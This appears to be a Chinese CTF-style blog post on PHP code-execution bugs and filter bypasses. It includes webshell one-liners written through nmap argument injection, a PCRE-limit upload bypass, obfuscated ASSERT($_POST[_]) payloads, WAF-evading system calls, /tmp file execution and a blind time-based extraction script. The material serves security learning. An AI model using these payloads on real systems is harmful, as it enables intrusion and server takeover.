Bootstrap

RCE漏洞总结及绕过---代码执行篇

具体简介在前一篇有过详细描述
RCE漏洞总结及绕过—系统命令执行篇

RCE漏洞总结及绕过—代码执行篇

代码执行函数

eval():该函数把字符串当做php代码来计算,并且字符串必须是合法的php代码,要以分号结尾;

assert():该函数会检查一个指定断言。断言是一个逻辑学词汇,主要用于程序员来进行假设判断。断言只有两种类型,字符串型或者布尔型,当断言为flse时返回字符串表达式。如果断言是字符串那么会当做
php代码执行;

preg_replace():/e模式 正则匹配替换字符串,7.0版
本后/e已经移除了;

create_function():创建匿名函数,此函数返回唯一的函数名称一个字符串,否则出错返回false。7.0以后被移除了;

call_user_func():把第一个参数作为回调函数调用,后面的参数作为回调函数的参数。(回调:通过函数参数传递到其它
代码,触发某些条件->调用某些函数);

#传入的参数作为assert函数的参数call_user_func("assert",执行的代码);

call_user_func_array():同为回调函数,第一个参数为函数名,第二个参数为函数参数的数组;

call_user_func_array("assert",$array);
//这里不能用eval,因为eval是PHP关键字符,而assert是可变函数可以调用 
//但是assert函数受到php的版本限制,在php7.0.29之后的版本不支持动态调用

在这里插入图片描述
eval与assert:

  • eval语法严格,必须分号,assert不用,assert是可变函数
  • 如果字符串中带有return,会立刻终止执行并返回NULL
  • 如果代码中存在解析错误,则eval0函数返回false
<?pho $_POST['2']($_POST['1']); ?>
此时2位置可以传可变函数assert而不能eval1位置则为要执行的字符串phpinfo()

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行;eval不行

${phpinfo()}以${} 为格式执行

php还有一些 像array_map0、array_filter()、usort()/uasort()也可以执行代码
此外,在别的语言中还有如下,

Javascript:eval
Vbscript:Execute,Eval
Python:exec
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如:OGNL、SpEL、MVEl
等,这些都能造成代码执行漏洞

过滤与绕过

使用$_GET绕过

原理(get参数为cmd):
 	?cmd=$_GET[a]();&a=phpinfo
eval()之后$_GET[a]变为:phpinfo,即phpinfo()
变形:?cmd=${_GET}[a]();&a=phpinfo(_GET变为{_GET}?cmd=${_GET}{a}();&a=phpinfo ([]使用{}替换)
注:当_GET%dd%c5%c7%d6^%82%82%82%82)使用异或代替时,必须加上{}括起来
原因:加上{}表示分割,使%dd%c5%c7%d6^%82%82%82%82独立,不加的话
$%dd%c5%c7%d6^%82%82%82%82{a}();&a=phpinfo
异或符^不知道前后异或多少,会被不是%dd%c5%c7%d6^%82%82%82%82的也异或进去

插入注释

(这对于绕过阻止特定PHP函数名称的WAF规则集很有用)

system/*A10ng_*/(whoami);

system/*A10ng_*/(wh./*A10ng_*/(oa)/*caixukun*/.mi);

(sy./*A10ng_*/(st)/*A10ng_*/.em)/*A10ng_*/(wh./*A10ng_*/(oa)/*A10ng_*/.mi);

extract($_POST)变量覆盖

//如果post传参为_SESSION[flag]=flag,那么$_SESSION["user"]$_SESSION["function"]的值都会被覆盖。
<?php
 $_SESSION["user"] = 'guest';
 $_SESSION['function'] ='123';
 echo '覆盖前:';
 var_dump($_SESSION);
 echo "<br>";
 extract($_POST);
 echo '覆盖后:';
 var_dump($_SESSION);
 ?

在这里插入图片描述

POST竞争_REQUEST

if($_REQUEST) { 
	foreach($_REQUEST as $value) { 
		if(preg_match('/[a-zA-Z]/i', $value))  
		die('fxck you! I hate English!'); 
	} 
}  
//假设我们要传入get:?debu=abc,这时会被过滤
//但是我们再在post传入一个变量名相同的变量debu=1,post优先级高于get,所以$_REQUEST接受的是debu=1,从而绕过

create_funciton匿名函数

匿名函数其实是有真正的名字,为
%00lambda_%d (%d格式化为当前进程的第n个匿名函数,n的范围
为:0~999)

引用网上一个朋友的payload构造脚本:

import requests
 for i in range(0,1000):
 	url = 'http://c1e68ca7-3854-49ec-bbc1-d303c450861e.node4.buuoj.cn:81/?func_name=%00lambda_'+str(i)
	r=requests.get(url)
 	if "flag" in r.text:
		print("flag:"+r.text)
	 	break
 print("Testing...")
 #因为n的范围为0~999,一共也没有多少可能,直接跑出来

科学计数法绕过

if($this->op == "2")
使用:2a不能绕过,因为这里"2"是字符串,不是数字,弱等于不能转化类型,所以2a也不会变为数字2
使用:2e0,即使是字符串,也会自己变为数字2,成功绕过

空格绕过

http://node4.buuoj.cn:26885/calc.php?num=phpinfo()
//当我们直接这么输入时,因为有waf,所以会显示:Forbidden被禁止的
//原理:PHP在接收URL传入的内容时,会将空格去除,将一些特殊字符转换为下划线(转换对象也包含空格)。
//这里在num传参和?之后加入一个空格就可以绕过waf
//实现:http://node4.buuoj.cn:26885/ca1c.php?%20num=phpinfo()

escapeshellarg()函数和escapeshellcmd()混合使用
escapeshellarg()函数,在linux系统下,会将单引号转义成 ’ ’ ’ ,用单引号将字符串括起来。
escapeshellcmd()函数,在linux系统下,会将未配对的单引号等特殊符号进行转义。
这样当这两个函数混合在一起使用时,就会导致,转义的单引被绕过。
题目中给出的是nmap命令,拼接上我们可控的参数$host,那么就可以通过添加nmap参数执行将命令和结果写入文件的操作,写入一句话木马。

nmap写入文件的参数是 -oG*

传入参数
?host = ' <?php @eval($_POST["hack"]);?> -oG hack.php '

经过处理后 拼接的语句 
nmap -T5 -sT -Pn --host-timeout 2 -F  ' '\\''\<\?php @eval\(\$_POST\["hack"\]\)\;\?\>  -oG hack.php '\\'''

preg_replace函数绕过

这个函数也算是正则的一种,应用很多 在各种ctf比赛 实际情况中各种出现 太常用了!!!! 但是写到这里 我能想到的也只有根据实际情况绕过 或者在这种eval中使用参数逃逸 与使用使用$_GET绕过类似 只不过范围更广 总体来说就两种思路 一种是匹配到了 但是特殊操作可绕过 另一种就是匹配不到

超全局变量在整个脚本中都是可用的,无需使用global关键字来访问它们。

1. $_GET:

$_GET是一个关联数组,用于从URL中获取参数的值。当使用GET方法发送HTTP请求时,参数会附加在URL的末尾,例如:http://example.com/?id=123。可以使用$_GET来获取这些参数的值,例如$_GET['id']将返回123。这在处理表单提交、页面导航和URL参数传递时非常有用。

2. $_POST:

$_POST也是一个关联数组,用于从HTTP请求的正文中获取参数值。当使用POST方法发送HTTP请求时,参数会被包含在请求正文中,而不是URL中。可以使用$_POST来获取这些参数的值,例如$_POST['name']将返回提交的名称值。与$_GET相比,$_POST更适用于处理敏感数据,因为它们不会在URL中暴露出来。

3. $_SERVER:

$_SERVER是一个包含了服务器和执行环境信息的关联数组。它提供了许多有用的信息,如当前页面的URL、请求方法、客户端IP地址、服务器信息等。例如,$_SERVER['REQUEST_METHOD']将返回当前请求的方法,$_SERVER['REMOTE_ADDR']将返回客户端的IP地址。$_SERVER在处理会话管理、用户认证和访问控制时非常有用。

4. $_SESSION:

$_SESSION是用于在不同页面之间存储和访问会话数据的关联数组。它可以用来跟踪用户会话状态,存储用户信息,以及实现用户登录和注销等功能。使用$_SESSION,可以在不同的页面之间传递数据,并且数据在用户关闭浏览器后仍然保留。

5. $_COOKIE:

$_COOKIE是一个包含了客户端发送的HTTP Cookie的关联数组。Cookie是一种在客户端浏览器中存储数据的机制,用于跟踪用户状态和存储用户偏好设置。通过$_COOKIE,可以读取和修改Cookie的值,例如$_COOKIE['username']将返回存储在名为"username"的Cookie中的值。

6. $_REQUEST:

$_REQUEST是一个关联数组,包含了通过GET、POST和COOKIE方式提交的参数的值。它可以同时获取GET和POST的参数值。然而,由于它可以获取多种来源的参数,因此在使用之前需要注意安全性和数据一致性。

7. $_FILES:

$_FILES是一个关联数组,用于访问通过HTTP POST方法上传的文件。它包含了上传文件的属性,如文件名、文件类型、文件大小等。通过$_FILES,可以将上传的文件保存到服务器上的指定位置。

8. $_ENV:
   $_ENV是一个包含了环境变量的关联数组。环境变量是在操作系统中设置的一些系统级别的值,在PHP中可以通过$_ENV来访问它们。例如,$_ENV['PATH']将返回操作系统中配置的路径。

9. $GLOBALS:

$GLOBALS是一个包含了全局变量的关联数组。它包含了脚本中定义的所有全局变量,以变量名为键名,变量值为键值。通过$GLOBALS,可以在任何地方访问和修改全局变量的值。

这些超全局变量 可以进行不同场景的利用 不限于这一个单一场景

pcre绕过

pcre回溯次数限制绕过
简单来说,PHP为了防止正则表达式的拒绝服务攻击,给PRCE设定了一个回溯次数上限
pcre.backtrack_limit,我们可通过 var_dump(ini_get('pcre.backtrack_limit'));的方式查看
当前环境下的上限//PHP文档中,中英文版本的数值是不一样的,一般以英文版为参考
pcre绕过的原理就是:攻击者发送超长字符串,使得preg_match正则执行失效,最后绕过
放一题的POC来理解一下


import requests
from io import BytesIO
files = {
 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
 }
 res = requests.post('http://51.158.75.42:8088/index.php',files=files,allow_redirects=False)
 print(res.headers)

可以看p神的博客
PHP利用PCRE回溯次数限制绕过某些安全限制

无回显无数字无参数

在命令执行篇简单的提了一些取反的操作 在这一篇中会对取反 特殊函数自增 异或等内容进行分析

无参数 使用特殊函数
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所
有文件和目录名称(glob()可替换)

localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)

current() :返回数组中的单元,默认取第一个值。pos()current()是同一个东西 和上面的联动了

getcwd() :取得当前工作目录

dirname():函数返回路径中的目录部分

array_flip() :交换数组中的键和值,成功时返回交换后的数组

array_rand() :从数组中随机取出一个或多个单元

array_reverse():将数组内容反转

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。

chdir() :函数改变当前的目录。

eval()assert():命令执行

hightlight_file()show_source()readfile():读取文件内容

var_dump() — 打印变量的相关信息

scandir(‘.’)是返回当前目录,虽然我们无法直接传参,但是由于localeconv()返回的数组第一个就是’.‘,current()取第一个值,那么,current((localeconv())就能构造一个’.',然后就能查看当前目录中的文件和
子目录

?参数=var_dump(scandir(current(localeconv())));

有关数组移动的操作

end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动

在a.php文件同目录下有一个flag文件
在这里插入图片描述
poc构造思路(从里到外)
1.localencov()返回数组第一个值’.'->current()取第一个值- >scandir(current(localeconv()))构造得出当前目录的文件和子目录
在这里插入图片描述
2.array_reverse(scandir(current(localeconv())))翻转数组 用next移动指针
next(array_reverse(scandir(current(localeconv()))))取到flag
在这里插入图片描述
3.用show_source(next(array_reverse(scandir(current(localeconv())))))显示文件
在这里插入图片描述

get_defined_vars和get_defined_functions

第一个是可以返回全局变量GET POST FILES COOKIE

第二个是可以返回所有的函数,包含两个元素:“internal"和"user”。"internal"包含PHP内置的函数,"user"包含用户定义的所有函数。

首先确认是否有回显:
print_r(get_defined_vars());
假如说原本只有一个参数a,那么可以多加一个参数b,后面写入恶意语句,payload:
a=eval(end(current(get_defined_vars())));&b=system('ls /');eval换成assert也行 ,能执行system('ls /')就行

第二个适当操作

chdir()&array_rand()赌狗式读文件
session_id()和session_start() 各种特性
无字母无数字
自增绕过

从这一个代码就可以明白
在这里插入图片描述

'A++'的结果是B 'B++'的结果是C,那么理论上可以通过这个方法来得到我们想要的所有字母
payload:ASSERT($_POST[_])

<?php
 $_=[];
 $_=@"$_"; // $_='Array';
 $_=$_['!'=='@']; // $_=$_[0];
 $___=$_; // A
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++;$__++;$__++;$__++;
 $___.=$__; // S
 $___.=$__; // S
 $__=$_;
 $__++;$__++;$__++;$__++; // E 
$___.=$__;
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++;$__++;$__++; // R
 $___.=$__;
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++;$__++;$__++;$__++;$__++; // T
 $___.=$__;
 $____='_';
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++; // P
 $____.=$__;
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++; // O
 $____.=$__;
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++;$__++;$__++;$__++; // S
 $____.=$__;
 $__=$_;
 $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
 ++;$__++;$__++;$__++;$__++;$__++; // T
 $____.=$__;
 $_=$$____;
 $___($_[_]); // ASSERT($_POST[_]);

在自增中,可以通过特殊字符构造出字符串的有以下几种方式

 [].''      //Array
 (0/0).''   //NAN
 (1/0).''   //INF
异或绕过

这个是python的拼接

d=ord('@')^ord('$')
e=ord('@')^ord('%')
print(chr(d)+chr(e))  // de

脚本

chr1 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?',
        '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']
chr2 = ['@', '!', '"', '#', '$', '%', '&', '\'', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?',
        '[', '\\', ']', '^', '_', '`', '{', '|', '}', '~']

for i in chr1:
    for j in chr2:
        print(i + 'xor' + j + '=' + (chr(ord(i) ^ ord(j))))
        
取反绕过

对 ‘a’ 取反,它的 ASCII 码是 97,取反后变成了 ~97。在 ASCII 编码中,没有明确定义的方式来解释 ~97 这个值,所以通常会被认为是无效的字符或乱码。

对于数字 ‘1’,其 ASCII 码是 49,取反后变成了 ~49。同样地,~49 在 ASCII 编码中也没有明确定义,因此会被解释为乱码。

双次取反就不会了
在这里插入图片描述

临时文件攻击

在Linux的PHP环境下面,客户端(页面)如果对服务器上传文件,会先生成一个临时文件,存放在根目录下面的tmp文件夹下面,也就是/tmp目录下面.之后再对临时文件进行处理,比如是否将其存储到本地.

无论服务器是否存在一个上传文件的请求,只要我们上传了一个临时文件,就一定会在该目录下面生成临时文件,但是会在生成后立刻删除.这个临时文件有一个特征,就是以php开头,后面跟6个随机字符

windos也存在这种操作 具体目录忘记了 碰见了可以搜一下 以下以linux为例

例如:

普通文件/tmp/adcabcabc

php保存的临时文件/tmp/phpAvxAsa

以ctfshow的题为例

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
            
                die("serror");
            }
            eval($cmd);
        }
?>

原理简单说一下 . == source => sh 这里仅是个人理解 source和sh 是有不同的 好像是两条 具体忘了是什么 但是这两均可进行命令执行 执行文件里的数据 是用当前目录的

给出两种方案 一种是直接请求然后抓包 改成post 另一种是我比较常用的 是在添加web端添加一个上传的文件的html 然后改包文件里面的内容

<form action="URL" enctype="multipart/form-data" method="post" >
    
    <input name="file" type="file" />
    <input type="submit" type="gogogo!" />
   
</form>

第一种方法的话 至少自己要添加 具体原因会在SSRF篇解释

Content-Length: 242
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynuFVOrCl6VhkyGpK


------WebKitFormBoundarynuFVOrCl6VhkyGpK
Content-Disposition: form-data; name="file"; filename="yijuhua.php"
Content-Type: application/octet-stream

#! /bin/bash

cat ../../../../../flag.txt
------WebKitFormBoundarynuFVOrCl6VhkyGpK--

请求的参数是 ?cmd=?><?=\`.+/??p/p?p??????\`; ?是通配符 为什么用 短标签呢 因为 反引号的命令执行没有回显 <?= ?>是相当于echo

无回显

要么时间盲注
借用if sleep这些命令

要么用公网ip
借用curl

别人的payload:

import requests
import time
url ="http://192.168.1.6:19080/class08/1.php"
result = ""
for i in range(1,5): //定义i、j、k三个变量
	for j in range(1,10):  
		for k in range(32,128):  //ascii码表
			k=chr(k)  //ascii码转换成字母,HEX编码变成字符
			time.sleep(0.1)  //i定义读取1-5行,i定义读取1-55个字符
			payload = "?cmd=" + f"if[ `ls | awk NR=={i} | cut -c {j}`=={k}];then sleep 2;fi"
			try:
 				requests.get(url=url+payload, timeout=(1.5,1.5))
			except:
 				result = result + k   //把值加入result,print输出显示
				print(result)
 				break
result += ""

总结

RCE我所能想到的和别人总结的一些 都进行汇总 希望欢迎各位朋友们给予建议和补充
我觉得每一种漏洞都有很多内容 是要不断进行学习积累的

;